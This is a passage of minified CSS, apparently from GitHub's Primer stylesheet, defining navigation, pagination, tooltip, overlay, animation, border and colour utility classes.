ease-out}.UnderlineNav-item [data-content]::before{display:block;height:0;font-weight:600;visibility:hidden;content:attr(data-content)}.UnderlineNav-item::before{position:absolute;top:50%;left:50%;width:100%;height:100%;min-height:48px;content:"";transform:translateX(-50%) translateY(-50%)}@media(pointer: fine){.UnderlineNav-item:hover{color:var(--color-fg-default);text-decoration:none;background:var(--color-action-list-item-default-hover-bg);transition:background .12s ease-out}}.UnderlineNav-item.selected,.UnderlineNav-item[role=tab][aria-selected=true],.UnderlineNav-item[aria-current]:not([aria-current=false]){font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-primer-border-active);outline-offset:-8px}.UnderlineNav-item.selected::after,.UnderlineNav-item[role=tab][aria-selected=true]::after,.UnderlineNav-item[aria-current]:not([aria-current=false])::after{position:absolute;right:50%;bottom:calc(50% - 25px);width:100%;height:2px;content:"";background:var(--color-primer-border-active);border-radius:6px;transform:translate(50%, -50%)}.UnderlineNav--right{justify-content:flex-end}.UnderlineNav--right .UnderlineNav-actions{flex:1 1 auto}.UnderlineNav-actions{align-self:center}.UnderlineNav--full{display:block}.UnderlineNav--full .UnderlineNav-body{min-height:48px}.UnderlineNav-octicon{display:inline !important;margin-right:8px;color:var(--color-fg-muted);fill:var(--color-fg-muted)}.UnderlineNav-container{display:flex;justify-content:space-between}.pagination a,.pagination span,.pagination em{min-width:32px;padding:5px 10px;font-style:normal;line-height:20px;color:var(--color-fg-default);text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid transparent;border-radius:6px;transition:border-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.pagination a:hover,.pagination a:focus,.pagination span:hover,.pagination span:focus,.pagination em:hover,.pagination em:focus{text-decoration:none;border-color:var(--color-border-default);transition-duration:.1s}.pagination a:active,.pagination span:active,.pagination em:active{border-color:var(--color-border-muted);transition:none}.pagination .previous_page,.pagination .next_page{color:var(--color-accent-fg)}.pagination .current,.pagination .current:hover,.pagination [aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:transparent}.pagination .gap,.pagination .disabled,.pagination [aria-disabled=true],.pagination .gap:hover,.pagination .disabled:hover,.pagination [aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default;border-color:transparent}@supports((-webkit-clip-path: polygon(50% 0, 100% 50%, 50% 100%)) or (clip-path: polygon(50% 0, 100% 50%, 50% 100%))){.pagination .previous_page::before,.pagination .next_page::after{display:inline-block;width:16px;height:16px;vertical-align:text-bottom;content:"";background-color:currentColor}.pagination .previous_page::before{margin-right:4px;-webkit-clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px);clip-path:polygon(9.8px 12.8px, 8.7px 12.8px, 4.5px 8.5px, 4.5px 7.5px, 8.7px 3.2px, 9.8px 4.3px, 6.1px 8px, 9.8px 11.7px, 9.8px 12.8px)}.pagination .next_page::after{margin-left:4px;-webkit-clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px);clip-path:polygon(6.2px 3.2px, 7.3px 3.2px, 11.5px 7.5px, 11.5px 8.5px, 7.3px 12.8px, 6.2px 11.7px, 9.9px 8px, 6.2px 4.3px, 6.2px 3.2px)}}.pagination>*{display:none}.pagination>:first-child,.pagination>:last-child,.pagination>.previous_page,.pagination>.next_page{display:inline-block}@media(min-width: 544px){.pagination>:nth-child(2),.pagination>:nth-last-child(2),.pagination>.current,.pagination>.gap{display:inline-block}}@media(min-width: 768px){.pagination>*{display:inline-block}}.paginate-container{margin-top:16px;margin-bottom:16px;text-align:center}.paginate-container .pagination{display:inline-block}.tooltipped{position:relative}.tooltipped::after{position:absolute;z-index:1000000;display:none;padding:.5em .75em;font:normal normal 11px/1.5 -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";-webkit-font-smoothing:subpixel-antialiased;color:var(--color-fg-on-emphasis);text-align:center;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-wrap:break-word;white-space:pre;pointer-events:none;content:attr(aria-label);background:var(--color-neutral-emphasis-plus);border-radius:6px;opacity:0}.tooltipped::before{position:absolute;z-index:1000001;display:none;width:0;height:0;color:var(--color-neutral-emphasis-plus);pointer-events:none;content:"";border:6px solid transparent;opacity:0}@keyframes tooltip-appear{from{opacity:0}to{opacity:1}}.tooltipped:hover::before,.tooltipped:hover::after,.tooltipped:active::before,.tooltipped:active::after,.tooltipped:focus::before,.tooltipped:focus::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:.4s}.tooltipped-no-delay:hover::before,.tooltipped-no-delay:hover::after,.tooltipped-no-delay:active::before,.tooltipped-no-delay:active::after,.tooltipped-no-delay:focus::before,.tooltipped-no-delay:focus::after{animation-delay:0s}.tooltipped-multiline:hover::after,.tooltipped-multiline:active::after,.tooltipped-multiline:focus::after{display:table-cell}.tooltipped-s::after,.tooltipped-se::after,.tooltipped-sw::after{top:100%;right:50%;margin-top:6px}.tooltipped-s::before,.tooltipped-se::before,.tooltipped-sw::before{top:auto;right:50%;bottom:-7px;margin-right:-6px;border-bottom-color:var(--color-neutral-emphasis-plus)}.tooltipped-se::after{right:auto;left:50%;margin-left:-16px}.tooltipped-sw::after{margin-right:-16px}.tooltipped-n::after,.tooltipped-ne::after,.tooltipped-nw::after{right:50%;bottom:100%;margin-bottom:6px}.tooltipped-n::before,.tooltipped-ne::before,.tooltipped-nw::before{top:-7px;right:50%;bottom:auto;margin-right:-6px;border-top-color:var(--color-neutral-emphasis-plus)}.tooltipped-ne::after{right:auto;left:50%;margin-left:-16px}.tooltipped-nw::after{margin-right:-16px}.tooltipped-s::after,.tooltipped-n::after{transform:translateX(50%)}.tooltipped-w::after{right:100%;bottom:50%;margin-right:6px;transform:translateY(50%)}.tooltipped-w::before{top:50%;bottom:50%;left:-7px;margin-top:-6px;border-left-color:var(--color-neutral-emphasis-plus)}.tooltipped-e::after{bottom:50%;left:100%;margin-left:6px;transform:translateY(50%)}.tooltipped-e::before{top:50%;right:-7px;bottom:50%;margin-top:-6px;border-right-color:var(--color-neutral-emphasis-plus)}.tooltipped-align-right-1::after,.tooltipped-align-right-2::after{right:0;margin-right:0}.tooltipped-align-right-1::before{right:10px}.tooltipped-align-right-2::before{right:15px}.tooltipped-align-left-1::after,.tooltipped-align-left-2::after{left:0;margin-left:0}.tooltipped-align-left-1::before{left:5px}.tooltipped-align-left-2::before{left:10px}.tooltipped-multiline::after{width:max-content;max-width:250px;word-wrap:break-word;white-space:pre-line;border-collapse:separate}.tooltipped-multiline.tooltipped-s::after,.tooltipped-multiline.tooltipped-n::after{right:auto;left:50%;transform:translateX(-50%)}.tooltipped-multiline.tooltipped-w::after,.tooltipped-multiline.tooltipped-e::after{right:100%}.tooltipped-sticky::before,.tooltipped-sticky::after{display:inline-block}.tooltipped-sticky.tooltipped-multiline::after{display:table-cell}.css-truncate.css-truncate-overflow,.css-truncate .css-truncate-overflow,.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.css-truncate.css-truncate-target,.css-truncate .css-truncate-target{display:inline-block;max-width:125px;vertical-align:top}.css-truncate.expandable.zeroclipboard-is-hover .css-truncate-target,.css-truncate.expandable.zeroclipboard-is-hover.css-truncate-target,.css-truncate.expandable:hover .css-truncate-target,.css-truncate.expandable:hover.css-truncate-target{max-width:10000px !important}.Truncate{display:inline-flex;min-width:0;max-width:100%}.Truncate>.Truncate-text{min-width:1ch;max-width:-moz-fit-content;max-width:fit-content;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.Truncate>.Truncate-text+.Truncate-text{margin-left:4px}.Truncate>.Truncate-text.Truncate-text--primary{flex-basis:200%}.Truncate>.Truncate-text.Truncate-text--expandable:hover,.Truncate>.Truncate-text.Truncate-text--expandable:focus,.Truncate>.Truncate-text.Truncate-text--expandable:active{max-width:100% !important;flex-shrink:0;cursor:pointer}.Overlay--hidden{display:none !important}.Overlay--visibilityHidden{height:0;overflow:hidden;visibility:hidden;opacity:0}.Overlay{display:flex;min-width:192px;flex-direction:column;background-color:var(--color-canvas-overlay);border-radius:.75rem;box-shadow:var(--color-overlay-shadow);opacity:1}.Overlay.Overlay--height-auto{height:auto}.Overlay.Overlay--height-xsmall{height:min(192px,100% - 2rem)}.Overlay.Overlay--height-small{height:min(256px,100% - 2rem)}.Overlay.Overlay--height-medium{height:min(320px,100% - 2rem)}.Overlay.Overlay--height-large{height:min(432px,100% - 2rem)}.Overlay.Overlay--height-xlarge{height:min(600px,100% - 2rem)}.Overlay.Overlay--width-auto{width:auto}.Overlay.Overlay--width-small{width:min(256px,100% - 2rem)}.Overlay.Overlay--width-medium{width:min(320px,100% - 2rem)}.Overlay.Overlay--width-large{width:min(480px,100% - 2rem)}.Overlay.Overlay--width-xlarge{width:min(640px,100% - 2rem)}.Overlay.Overlay--width-xxlarge{width:min(960px,100% - 2rem)}@media screen and (prefers-reduced-motion: no-preference){.Overlay.Overlay--motion-scaleFade{animation:200ms cubic-bezier(0.33, 1, 0.68, 1) 0s 1 normal none running Overlay--motion-scaleFade}}@keyframes Overlay--motion-scaleFade{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.Overlay-form{display:flex;overflow:auto;flex-direction:column;flex-grow:1}.Overlay-header{z-index:1;display:flex;flex-direction:column}.Overlay-header.Overlay-header--divided{padding-bottom:8px;box-shadow:inset 0 -1px var(--color-border-default)}.Overlay-header.Overlay-header--divided+.Overlay-body{padding-top:16px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap{gap:8px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{font-size:20px}.Overlay-header.Overlay-header--large .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{font-size:14px}.Overlay-header .Overlay-headerContentWrap{display:flex;align-items:flex-start;gap:8px;padding:8px 8px 0 8px}.Overlay-header .Overlay-headerContentWrap .Overlay-actionWrap{display:flex;flex-direction:row;gap:8px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap{display:flex;padding:6px 0 6px 8px;flex-direction:column;flex-grow:1;gap:4px}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-title{margin:0;font-size:14px;font-weight:600}.Overlay-header .Overlay-headerContentWrap .Overlay-titleWrap .Overlay-description{margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.Overlay-body{padding:16px;padding-top:0;overflow-y:auto;scrollbar-width:thin;font-size:14px;flex-grow:1}.Overlay-body.Overlay-body--paddingCondensed{padding:8px;padding-top:0}.Overlay-body.Overlay-body--paddingNone{padding:0}.Overlay-footer{z-index:1;display:flex;padding:0 16px 16px 16px;flex-direction:row;flex-shrink:0;flex-wrap:wrap}.Overlay-footer.Overlay-footer--divided{padding-top:16px;box-shadow:inset 0 1px var(--color-border-default)}.Overlay-footer.Overlay-footer--alignStart{justify-content:flex-start;gap:8px}.Overlay-footer.Overlay-footer--alignCenter{justify-content:center;gap:8px}.Overlay-footer.Overlay-footer--alignEnd{justify-content:flex-end;gap:8px}.Overlay-closeButton{position:relative;display:grid;width:32px;height:32px;padding:0;color:var(--color-fg-muted);cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:1px solid transparent;border-radius:6px;transition:.2s cubic-bezier(0.3, 0, 0.5, 1);transition-property:color,background-color,border-color;place-content:center;align-self:flex-start;flex-shrink:0}.Overlay-closeButton:hover,.Overlay-closeButton:focus{background-color:var(--color-btn-hover-bg);border:1px solid var(--color-btn-hover-bg)}.Overlay-backdrop--center{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor{position:absolute;background-color:transparent}.Overlay-backdrop--anchor .Overlay{width:auto}.Overlay-backdrop--side{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left{align-items:center;justify-content:left}.Overlay-backdrop--side.Overlay-backdrop--placement-left .Overlay{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-right{align-items:center;justify-content:right}.Overlay-backdrop--side.Overlay-backdrop--placement-right .Overlay{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom{align-items:end;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-bottom .Overlay{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side.Overlay-backdrop--placement-top{align-items:start;justify-content:center}.Overlay-backdrop--side.Overlay-backdrop--placement-top .Overlay{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}@media(max-width: 767.98px){.Overlay-backdrop--center-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:center}.Overlay-backdrop--anchor-whenNarrow{position:absolute;background-color:transparent}.Overlay-backdrop--anchor-whenNarrow .Overlay{width:auto}.Overlay-backdrop--side-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted);align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow{align-items:center;justify-content:left}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-left-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow{align-items:center;justify-content:right}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-right-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-right-radius:0;border-bottom-right-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow{align-items:end;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-bottom-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-bottom-right-radius:0;border-bottom-left-radius:0}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow{align-items:start;justify-content:center}.Overlay-backdrop--side-whenNarrow.Overlay-backdrop--placement-top-whenNarrow .Overlay-whenNarrow{border-radius:.75rem;border-top-left-radius:0;border-top-right-radius:0}.Overlay-backdrop--full-whenNarrow{position:fixed;top:0;right:0;bottom:0;left:0;z-index:999;display:flex;background-color:var(--color-neutral-muted)}.Overlay-backdrop--full-whenNarrow .Overlay{width:100%;max-width:100vw;height:100%;max-height:100vh;border-radius:unset;flex-grow:1}}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:.3}10%{opacity:1}100%{opacity:.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow,.anim-hover-grow{transition:transform .3s;-webkit-backface-visibility:hidden;backface-visibility:hidden}.hover-grow:hover,.anim-hover-grow:hover{transform:scale(1.025)}.anim-rotate{animation:rotate-keyframes 1s linear infinite}@keyframes rotate-keyframes{100%{transform:rotate(360deg)}}.border-x{border-right:1px solid var(--color-border-default) !important;border-left:1px solid var(--color-border-default) !important}.border-y{border-top:1px solid var(--color-border-default) !important;border-bottom:1px solid var(--color-border-default) !important}.border{border:1px solid var(--color-border-default) !important}.border-0{border:0 !important}.border-top{border-top:1px solid var(--color-border-default) !important}.border-right{border-right:1px solid var(--color-border-default) !important}.border-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-left{border-left:1px solid var(--color-border-default) !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded{border-radius:6px !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:4px !important}.rounded-2{border-radius:6px !important}.rounded-3{border-radius:8px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) 